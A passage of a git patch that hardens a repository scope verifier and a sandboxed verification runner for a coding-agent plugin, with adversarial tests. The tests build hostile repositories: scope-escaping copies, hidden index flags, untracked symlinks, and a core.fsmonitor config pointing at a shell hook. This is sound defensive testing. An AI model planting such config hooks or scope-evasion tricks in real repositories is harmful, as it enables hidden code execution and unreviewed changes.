metadata.isFile(); +} + +function isDirectoryStat(metadata) { + return typeof metadata?.isDirectory === 'function' && metadata.isDirectory(); +} + +function isInsideRepository(repositoryPath, target) { + const root = PATH_RESOLVE(repositoryPath); + const resolved = PATH_RESOLVE(target); + if (resolved === root) return true; + const prefix = root.endsWith('/') ? root : `${root}/`; + return resolved.startsWith(prefix); +} + +async function lstatProven(target, path) { + let first; + try { + first = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + let second; + try { + second = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + if (typeof first?.isSymbolicLink !== 'function' || typeof second?.isSymbolicLink !== 'function' + || typeof first.isFile !== 'function' || typeof second.isFile !== 'function' + || typeof first.isDirectory !== 'function' || typeof second.isDirectory !== 'function') { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + if (first.isSymbolicLink() !== second.isSymbolicLink() + || first.isFile() !== second.isFile() + || first.isDirectory() !== second.isDirectory() + || first.mode !== second.mode) { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + return first; +} + +async function proveUntrackedPaths(repositoryPath, paths, path) { + let symlink = false; + for (let index = 0; index < paths.length; index += 1) { + const relative = paths[index]; + const parts = relative.split('/'); + let current = PATH_RESOLVE(repositoryPath); + for (let partIndex = 0; partIndex < parts.length; partIndex += 1) { + const part = parts[partIndex]; + if (part.length === 0 || part === '.' || part === '..') { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + current = PATH_JOIN(current, part); + if (!PATH_IS_ABSOLUTE(current) || !isInsideRepository(repositoryPath, current)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + const metadata = await lstatProven(current, path); + const last = partIndex === parts.length - 1; + if (isSymlinkStat(metadata)) { + if (!last) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + symlink = true; + continue; + } + if (last) { + if (!isFileStat(metadata) || isDirectoryStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } else if (!isDirectoryStat(metadata) || isFileStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } + } + return { symlink }; +} + function parseRevListParents(stdout, path, expectedHead, allowEmpty) { if (stdout.includes('\0') || stdout.includes('\r')) { fail('git_execution_failed', path, `${path} produced extra git output.`); @@ -743,7 +877,7 @@ function parseRevListParents(stdout, path, expectedHead, allowEmpty) { sawHead = true; parentCount = parents; } - if (parents !== 1) merge = true; + if (parents > 1) merge = true; } if (expectedHead !== undefined && !sawHead && lines.length > 0) { parentCount = lines[0].split(' ').length - 1; @@ -1044,32 +1178,53 @@ function classifyDiffRecords(records, path) { return { symlink, gitlink, type_change: typeChange }; } -async function observeScope(session, flags, baseSha, headSha, path) { +async function observeScope(session, flags, repositoryPath, baseSha, headSha, path) { const sameCommit = baseSha === headSha; const diffText = await gitRequired(session, [ ...flags, 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', - '-M', '-C', '--end-of-options', baseSha, headSha, + '-M', '-C', '--find-copies-harder', '--end-of-options', baseSha, headSha, ], `${path}.diff`); const parsed = parseDiffTreeRaw(diffText, `${path}.diff`); const statusText = await gitRequired(session, [ ...flags, 'status', '--porcelain=v1', '-z', '--untracked-files=all', - '--ignore-submodules=none', + '--ignored', '--ignore-submodules=none', ], `${path}.status`); parseStatusPorcelain(statusText, `${path}.status`, parsed.paths, parsed.seen); const untrackedText = await gitRequired(session, [ ...flags, 'ls-files', '-z', '--others', '--exclude-standard', ], `${path}.untracked`); + const untrackedPaths = []; + const untrackedSeen = new Set(); parseLsFilesOthers(untrackedText, `${path}.untracked`, parsed.paths, parsed.seen); - let parent; - if (sameCommit) { - parent = { commits: [], parent_count: 1, merge: false, new_commit_count: 0 }; - } else { + parseLsFilesOthers(untrackedText, `${path}.untracked`, untrackedPaths, untrackedSeen); + const ignoredText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--ignored', '--exclude-standard', + ], `${path}.ignored`); + parseLsFilesOthers(ignoredText, `${path}.ignored`, parsed.paths, parsed.seen); + parseLsFilesOthers(ignoredText, `${path}.ignored`, untrackedPaths, untrackedSeen); + const verboseText = await gitRequired(session, [ + ...flags, 'ls-files', '-v', '-z', + ], `${path}.index`); + parseLsFilesVerbose(verboseText, `${path}.index`); + const proof = await proveUntrackedPaths(repositoryPath, untrackedPaths, `${path}.untracked`); + const headParentText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', '--max-count=1', headSha, + ], `${path}.head_parents`); + const headParent = parseRevListParents( + headParentText, `${path}.head_parents`, headSha, false, + ); + let merge = headParent.merge === true || headParent.parent_count > 1; + let newCommitCount = 0; + let rangeCommits = []; + if (!sameCommit) { const rangeText = await gitRequired(session, [ ...flags, 'rev-list', '--parents', `--max-count=${MAX_NEW_COMMITS + 1}`, headSha, '--not', baseSha, ], `${path}.parents`); - parent = parseRevListParents(rangeText, `${path}.parents`, headSha, false); - parent.new_commit_count = parent.commits.length; + const range = parseRevListParents(rangeText, `${path}.parents`, headSha, false); + merge = merge || range.merge === true || range.parent_count > 1; + newCommitCount = range.commits.length; + rangeCommits = range.commits; } REFLECT_APPLY(ARRAY_SORT, parsed.paths, [(left, right) => { if (left === right) return 0; @@ -1080,7 +1235,10 @@ async function observeScope(session, flags, baseSha, headSha, path) { diff: digestBytes(diffText), status: digestBytes(statusText), untracked: digestBytes(untrackedText), - parents: parent.commits, + ignored: digestBytes(ignoredText), + index_flags: digestBytes(verboseText), + head_parents: headParent.commits, + parents: rangeCommits, path_set_digest: pathSetDigest, }); const operations = classifyDiffRecords(parsed.records, `${path}.diff`); @@ -1090,11 +1248,11 @@ async function observeScope(session, flags, baseSha, headSha, path) { path_set_digest: pathSetDigest, rename_count: parsed.rename_count, copy_count: parsed.copy_count, - parent_count: parent.parent_count, - new_commit_count: parent.new_commit_count, - merge: parent.merge === true || (!sameCommit && parent.parent_count !== 1), - dirty: statusText.length > 0 || untrackedText.length > 0, - symlink: operations.symlink, + parent_count: headParent.parent_count, + new_commit_count: newCommitCount, + merge, + dirty: statusText.length > 0 || untrackedText.length > 0 || ignoredText.length > 0, + symlink: operations.symlink === true || proof.symlink === true, gitlink: operations.gitlink, type_change: operations.type_change, fingerprint, @@ -1148,20 +1306,24 @@ function emitDiscrepancy(id, kind, code, request, factIds, sequence) { export async function verifyScopeV1(input, options) { const request = parseScopeVerifierRequestV1(input); const parsedOptions = parseOptions(options); + const isolatedSpawn = wrapIsolatedSpawn(parsedOptions.spawn); + const isolatedOptions = freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: isolatedSpawn }); const pathLabel = 'scope'; - const livePre = await verifyGitIdentityV1(request.identity_request, parsedOptions); + const livePre = await verifyGitIdentityV1(request.identity_request, isolatedOptions); assertLiveIdentity(request.identity, livePre, `${pathLabel}.identity`); - const session = createSession(parsedOptions.spawn); + const session = createSession(isolatedSpawn); const repositoryPath = livePre.observation.repository_path; const gitDir = livePre.observation.git_dir; const flags = repoFlags(repositoryPath, gitDir); const pre = await observeScope( - session, flags, livePre.observation.base_sha, livePre.observation.head_sha, pathLabel, + session, flags, repositoryPath, livePre.observation.base_sha, livePre.observation.head_sha, + pathLabel, ); - const livePost = await verifyGitIdentityV1(request.identity_request, parsedOptions); + const livePost = await verifyGitIdentityV1(request.identity_request, isolatedOptions); assertLiveIdentity(request.identity, livePost, `${pathLabel}.identity`); const post = await observeScope( - session, flags, livePost.observation.base_sha, livePost.observation.head_sha, pathLabel, + session, flags, repositoryPath, livePost.observation.base_sha, livePost.observation.head_sha, + pathLabel, ); if (pre.fingerprint !== post.fingerprint || identityFingerprint(livePre) !== identityFingerprint(livePost)) { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs index 8ebeca1..c92a21e 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs @@ -4,7 +4,7 @@ // stay parent-failing until the verifier module exists. import { spawn } from 'node:child_process'; -import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -229,6 +229,59 @@ export async function createCopyInScopeRepo() { return wrap(root, { baseSha, headSha, extra: { from: 'src/original.txt', to: 'src/copied.txt' } }); } +export async function createCopyEscapingRepo() { + const root = await emptyRepo('p15-copy-escape-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/secret.txt', 'unique-copy-blob-docs-9876543210\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/fromdocs.txt', 'unique-copy-blob-docs-9876543210\n'); + const headSha = await commit(root, 'copy-escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'docs/secret.txt', to: 'src/fromdocs.txt' }, + }); +} + +export async function createIgnoredOutOfScopeRepo() { + const root = await emptyRepo('p15-ignored-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + await writeAndAdd(root, '.gitignore', 'scratch.ignored\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + await writeFile(path.join(root, 'docs', 'scratch.ignored'), 'ignored-out\n', 'utf8'); + return wrap(root, { baseSha, headSha, extra: { ignored: 'docs/scratch.ignored' } }); +} + +export async function createHiddenIndexFlagRepo() { + const repo = await createInScopeWriterRepo(); + await runFixtureGit(repo.path, ['update-index', '--assume-unchanged', '--', 'src/keep.txt']); + await runFixtureGit(repo.path, ['update-index', '--skip-worktree', '--', 'docs/readme.txt']); + repo.extra = { ...repo.extra, assume_unchanged: 'src/keep.txt', skip_worktree: 'docs/readme.txt' }; + return repo; +} + +export async function createFileModeHiddenChmodRepo() { + const repo = await createReadOnlyUnchangedRepo(); + await runFixtureGit(repo.path, ['config', 'core.fileMode', 'false']); + await chmod(path.join(repo.path, 'src', 'keep.txt'), 0o755); + repo.extra = { ...repo.extra, chmod: 'src/keep.txt' }; + return repo; +} + +export async function createUntrackedSymlinkRepo() { + const repo = await createInScopeWriterRepo(); + await symlink('keep.txt', path.join(repo.path, 'src', 'link-untracked.txt')); + repo.extra = { ...repo.extra, untracked: 'src/link-untracked.txt' }; + return repo; +} + export async function createDeletionInScopeRepo() { const root = await emptyRepo('p15-delete-'); await writeAndAdd(root, 'src/gone.txt', 'delete-me\n'); @@ -273,6 +326,14 @@ export async function createMergeCommitRepo() { return wrap(root, { baseSha, headSha, extra: {} }); } +export async function createMergeHeadEqualsBaseRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await runFixtureGit(merge.path, ['checkout', '-B', 'main', merge.headSha]); + merge.baseSha = merge.headSha; + return merge; +} + export async function createHistoricalMergeRepo() { const merge = await createMergeCommitRepo(); await runFixtureGit(merge.path, ['checkout', 'candidate']); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs index 57fd616..f5cecf5 100644 --- a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs @@ -1,6 +1,9 @@ import assert from 'node:assert/strict'; import { spawn as nodeSpawn } from 'node:child_process'; -import { writeFileSync } from 'node:fs'; +import { existsSync, writeFileSync } from 'node:fs'; +import { chmod, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import test from 'node:test'; @@ -23,17 +26,24 @@ import { READ_ONLY_ASSIGNMENT_ID, countingProxy, createConfusableSeparatorRepo, + createCopyEscapingRepo, + createFileModeHiddenChmodRepo, createGitlinkRepo, + createHiddenIndexFlagRepo, createHistoricalMergeRepo, + createIgnoredOutOfScopeRepo, createInScopeWriterRepo, createMergeCommitRepo, + createMergeHeadEqualsBaseRepo, createNonNfcRepo, createOutOfScopeWriterRepo, createRenameEscapingRepo, createSymlinkRepo, createTypeChangeRepo, + createUntrackedSymlinkRepo, createUntrackedOutOfScopeRepo, identityRequest, + runFixtureGit, scopeRequest, trapTotal, } from './fixtures/r1-scope-verifier-fixtures.mjs'; @@ -368,8 +378,95 @@ test('closed protocol and config env is forced on every P15 git spawn', async (t assert.equal(options.env.GIT_CONFIG_GLOBAL, '/dev/null'); assert.equal(options.env.GIT_CONFIG_SYSTEM, '/dev/null'); assert.equal(Object.hasOwn(options.env, 'GIT_CONFIG'), false); + assert.equal(args.includes('core.fsmonitor='), true); + assert.equal(args.includes('core.useBuiltinFSMonitor=false'), true); + assert.equal(args.includes('core.fileMode=true'), true); + const fsmonitorIndex = args.indexOf('core.fsmonitor='); + assert.equal(fsmonitorIndex > 0 && args[fsmonitorIndex - 1] === '-c', true); return nodeSpawn(command, args, options); }, }); assert.equal(result.status, 'verified'); }); + +test('ignored worktree changes are enumerated and denied outside write_scope', async (t) => { + const repo = await createIgnoredOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.ignored'), false); +}); + +test('assume-unchanged and skip-worktree index flags fail closed', async (t) => { + const repo = await createHiddenIndexFlagRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity))); + assert.equal(error.code, 'git_execution_failed'); + assertContentFree(error, 'keep.txt', 'readme.txt', 'assume-unchanged', 'skip-worktree'); +}); + +test('chmod is observed even when local core.fileMode is false', async (t) => { + const repo = await createFileModeHiddenChmodRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.dirty, true); +}); + +test('merge HEAD is rejected when base_sha equals head_sha', async (t) => { + const merge = await createMergeHeadEqualsBaseRepo(); + t.after(() => merge.cleanup()); + const identity = await identityOf(merge); + const result = await verifyScopeV1(scopeRequest(merge, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('merge-commit'), true); + assert.equal(result.observation.parent_count > 1, true); + assert.equal(result.observation.base_sha, result.observation.head_sha); +}); + +test('unchanged-source copies keep source and destination ownership', async (t) => { + const repo = await createCopyEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.observation.copy_count >= 1, true); + assert.equal(JSON.stringify(result).includes('secret.txt'), false); + assert.equal(JSON.stringify(result).includes('fromdocs.txt'), false); +}); + +test('untracked in-scope symlinks are rejected after lstat proof', async (t) => { + const repo = await createUntrackedSymlinkRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('symlink-change'), true); + assert.equal(JSON.stringify(result).includes('link-untracked.txt'), false); +}); + +test('core.fsmonitor repository config cannot execute during observation', async (t) => { + const hookDir = await mkdtemp(path.join(tmpdir(), 'p15-fsm-hook-')); + t.after(() => rm(hookDir, { recursive: true, force: true })); + const hookPath = path.join(hookDir, 'fsm.sh'); + const markerPath = path.join(hookDir, 'ran'); + await writeFile(hookPath, `#!/bin/sh\necho ran >> "${markerPath}"\nexit 0\n`); + await chmod(hookPath, 0o755); + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + await runFixtureGit(repo.path, ['config', 'core.fsmonitor', hookPath]); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(existsSync(markerPath), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs index 218a6c7..a3bb13c 100644 --- a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs +++ b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs @@ -168,7 +168,8 @@ test('additions, deletions, in-scope renames, and copies stay owned', async (t) const copyIdentity = await identityOf(copy); const copyResult = await verifyScopeV1(scopeRequest(copy, copyIdentity)); assert.equal(copyResult.status, 'verified'); - assert.equal(copyResult.observation.path_count >= 1, true); + assert.equal(copyResult.observation.path_count >= 2, true); + assert.equal(copyResult.observation.copy_count >= 1, true); const deletion = await createDeletionInScopeRepo(); t.after(() => deletion.cleanup()); From caf1bd48ccbb7ed0679f37d48807b103762ecce3 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 10:58:42 +0000 Subject: [PATCH 085/151] fix(verify): close P16C isolation and cleanup blockers --- .../v3/constrained-verification-runner.mjs | 952 +++++++++++++++--- ...d-verification-runner-adversarial.test.mjs | 546 +++++++++- ...1-constrained-verification-runner.test.mjs | 106 +- 3 files changed, 1430 insertions(+), 174 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs index 244e0c0..48d1e57 100644 --- a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs +++ b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs @@ -31,7 +31,8 @@ import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; -import { lstat, mkdir, readFile, readdir, realpath, rm } from 'node:fs/promises'; +import fs from 'node:fs'; +import { lstat, mkdir, readFile, readdir, realpath } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; import process from 'node:process'; @@ -91,12 +92,22 @@ export const VERIFICATION_EXECUTION_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_ export const GIT_EXECUTABLE = '/usr/bin/git'; export const UNSHARE_EXECUTABLE = '/usr/bin/unshare'; +export const PRLIMIT_EXECUTABLE = '/usr/bin/prlimit'; export const WORKSPACE_NAME_PREFIX = 'codex-co-engineer-p16c-'; +export const WORKSPACE_PARENT_PREFIX = 'codex-co-engineer-p16c-owner-'; +export const QUARANTINE_NAME_PREFIX = 'codex-co-engineer-p16c-quarantine-'; export const KILL_GRACE_MS = 1_000; export const STUCK_GRACE_MS = 100; export const GIT_AUDIT_TIMEOUT_MS = 5_000; export const GIT_AUDIT_MAX_BYTES = 65_536; export const WORKSPACE_MODE = 0o700; +export const RESOURCE_ADDRESS_SPACE_BYTES = 268_435_456; +export const RESOURCE_NPROC = 32; +export const RESOURCE_CPU_SECONDS_CAP = 120; +export const COPY_MAX_FILE_BYTES = 1_048_576; +export const COPY_MAX_TOTAL_BYTES = 8_388_608; +export const COPY_MAX_ENTRIES = 4_096; +export const COPY_MAX_DEPTH = 32; export const REQUEST_ALLOWED_KEYS = capturedFreeze(['candidate', 'intent', 'policy']); export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; @@ -106,8 +117,9 @@ export const CANDIDATE_ALLOWED_KEYS = capturedFreeze([ export const CANDIDATE_REQUIRED_KEYS = capturedFreeze(['repository']); export const OPTION_ALLOWED_KEYS = capturedFreeze(['adapter']); export const ADAPTER_ALLOWED_KEYS = capturedFreeze([ - 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', 'nowMs', - 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', 'tmpRoot', + 'afterQuarantinePin', 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', + 'nowMs', 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', + 'tmpRoot', ]); export const RECEIPT_BODY_KEYS = capturedFreeze([ 'candidate_audit', 'cleanup', 'command_id', 'facts', 'intent_identity', @@ -259,6 +271,28 @@ const GIT_AUDIT_COMMANDS = capturedFreeze([ capturedFreeze(['worktree', 'list', '--porcelain']), capturedFreeze(['rev-parse', '--absolute-git-dir']), ]); +export const GIT_CONFIG_OVERRIDES = capturedFreeze([ + '--no-pager', + '-c', 'core.fsmonitor=', + '-c', 'core.fsmonitorHook=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'core.pager=', + '-c', 'core.editor=true', + '-c', 'core.askPass=', + '-c', 'filter.lfs.process=', + '-c', 'filter.lfs.required=false', +]); +export const GIT_CLOSED_ENV = capturedFreeze({ + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_PAGER: 'cat', + GIT_EDITOR: 'true', + LC_ALL: 'C', +}); const OBJECT_DEFINE_PROPERTY = Object.defineProperty; const OBJECT_PROTOTYPE = Object.prototype; @@ -280,16 +314,31 @@ const PATH_JOIN = path.join; const PATH_RESOLVE = path.resolve; const PATH_IS_ABSOLUTE = path.isAbsolute; const PATH_RELATIVE = path.relative; -const PATH_DIRNAME = path.dirname; const OS_TMPDIR = tmpdir; const FS_LSTAT = lstat; const FS_MKDIR = mkdir; const FS_REALPATH = realpath; -const FS_RM = rm; +const FS_OPEN_SYNC = fs.openSync; +const FS_CLOSE_SYNC = fs.closeSync; +const FS_FSTAT_SYNC = fs.fstatSync; +const FS_LSTAT_SYNC = fs.lstatSync; +const FS_READ_SYNC = fs.readSync; +const FS_WRITE_SYNC = fs.writeSync; +const FS_FCHMOD_SYNC = fs.fchmodSync; +const FS_MKDIR_SYNC = fs.mkdirSync; +const FS_RMDIR_SYNC = fs.rmdirSync; +const FS_UNLINK_SYNC = fs.unlinkSync; +const FS_RENAME_SYNC = fs.renameSync; +const FS_READDIR_SYNC = fs.readdirSync; +const FS_CONSTANTS = fs.constants; const PROCESS_KILL = process.kill.bind(process); const RANDOM_BYTES = randomBytes; const NODE_SPAWN = nodeSpawn; const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OPEN_NOFOLLOW_READ = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_DIR = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_DIRECTORY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_CREATE = FS_CONSTANTS.O_WRONLY | FS_CONSTANTS.O_CREAT | FS_CONSTANTS.O_EXCL + | FS_CONSTANTS.O_NOFOLLOW; function deny(code, path) { fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); @@ -405,6 +454,87 @@ function equalDigest(left, right) { return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')) === true; } +function closeQuiet(fd) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) return; + try { FS_CLOSE_SYNC(fd); } catch { /* already closed */ } +} + +function procFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('workspace_unreadable', 'workspace'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + return `/proc/self/fd/${fd}/${name}`; +} + +function openNoFollow(target, flags, path, code) { + let fd; + try { + fd = FS_OPEN_SYNC(target, flags); + } catch (error) { + if (error && error.code === 'ELOOP') deny('symlink_denied', path); + deny(code, path); + } + return fd; +} + +function fstatOrDeny(fd, path, code) { + try { + return FS_FSTAT_SYNC(fd, { bigint: true }); + } catch { + deny(code, path); + } +} + +function hashFdSync(fd) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (true) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(fd, buf, 0, buf.length, pos); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (bytesRead === 0) break; + HASH_UPDATE.call(hash, buf.subarray(0, bytesRead)); + pos += bytesRead; + } + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertPinnedRegularFile(stat, path, code) { + if (stat.isSymbolicLink() || !stat.isFile()) deny(code, path); +} + +function sameIdentity(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.size === right.size; +} + +function resourceLimitsFor(timeoutMs) { + const cpuSeconds = Math.ceil(timeoutMs / 1_000) + 1; + if (!NUMBER_IS_SAFE_INTEGER(cpuSeconds) || cpuSeconds < 1 || cpuSeconds > RESOURCE_CPU_SECONDS_CAP) { + deny('out_of_range', 'request.intent.timeout_ms'); + } + return capturedFreeze({ + cpu_seconds: cpuSeconds, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, + }); +} + +function entryMode(stat) { + return Number(stat.mode & 0o777n); +} + +function isSparseRegular(stat) { + if (!stat.isFile() || stat.size <= 0n) return false; + return stat.blocks === 0n || stat.blocks * 512n < stat.size; +} + function cloneParameters(parameters) { const keys = sortedCapturedKeys(parameters); const values = {}; @@ -512,25 +642,27 @@ function defaultTmpRoot() { } function defaultKillProcessGroup(pid, signal) { - if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return; + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; try { PROCESS_KILL(-pid, signal); + return true; } catch { try { PROCESS_KILL(pid, signal); + return true; } catch { - // ESRCH and equivalent races are inspected by listDescendants. + return false; } } } async function defaultListDescendants(pid) { - if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return freezeList([]); + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) deny('cleanup_uncertain', 'execution'); let dir; try { dir = await readdir('/proc'); } catch { - return freezeList([]); + deny('cleanup_uncertain', 'execution'); } const leftover = []; for (let index = 0; index < dir.length; index += 1) { @@ -541,11 +673,12 @@ async function defaultListDescendants(pid) { let stat; try { stat = await readFile(`/proc/${other}/stat`, 'utf8'); - } catch { - continue; + } catch (error) { + if (error && error.code === 'ENOENT') continue; + deny('cleanup_uncertain', 'execution'); } const close = stat.indexOf(')'); - if (close < 0) continue; + if (close < 0) deny('cleanup_uncertain', 'execution'); const rest = stat.slice(close + 2).split(' '); const ppid = Number(rest[1]); const pgid = Number(rest[2]); @@ -610,80 +743,115 @@ async function collectChildOutput(child, timeoutMs) { } async function defaultReadGitIdentity(repository) { - let gitStat; + const gitFd = openNoFollow(GIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'candidate', 'git_unavailable'); try { - gitStat = await FS_LSTAT(GIT_EXECUTABLE, { bigint: true }); - } catch { - deny('git_unavailable', 'candidate'); - } - if (gitStat.isSymbolicLink() || !gitStat.isFile()) deny('git_unavailable', 'candidate'); - const env = { - GIT_CONFIG_NOSYSTEM: '1', - GIT_CONFIG_GLOBAL: '/dev/null', - GIT_CONFIG_SYSTEM: '/dev/null', - GIT_OPTIONAL_LOCKS: '0', - GIT_TERMINAL_PROMPT: '0', - }; - const outputs = {}; - const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; - for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { - const args = ['-C', repository, '--no-optional-locks']; - const command = GIT_AUDIT_COMMANDS[index]; - for (let argIndex = 0; argIndex < command.length; argIndex += 1) { - ARRAY_PUSH.call(args, command[argIndex]); - } - let child; - try { - child = NODE_SPAWN(GIT_EXECUTABLE, args, { - cwd: PATH_DIRNAME(repository), - env, - shell: false, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - }); - } catch { - deny('git_identity_unverified', 'candidate'); + const gitStat = fstatOrDeny(gitFd, 'candidate', 'git_unavailable'); + assertPinnedRegularFile(gitStat, 'candidate', 'git_unavailable'); + const outputs = {}; + const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; + for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { + const args = []; + for (let overrideIndex = 0; overrideIndex < GIT_CONFIG_OVERRIDES.length; overrideIndex += 1) { + ARRAY_PUSH.call(args, GIT_CONFIG_OVERRIDES[overrideIndex]); + } + ARRAY_PUSH.call(args, '-C'); + ARRAY_PUSH.call(args, repository); + ARRAY_PUSH.call(args, '--no-optional-locks'); + const command = GIT_AUDIT_COMMANDS[index]; + for (let argIndex = 0; argIndex < command.length; argIndex += 1) { + ARRAY_PUSH.call(args, command[argIndex]); + } + let child; + try { + child = NODE_SPAWN('/proc/self/fd/3', args, { + cwd: '/', + env: { ...GIT_CLOSED_ENV }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', gitFd], + windowsHide: true, + }); + } catch { + 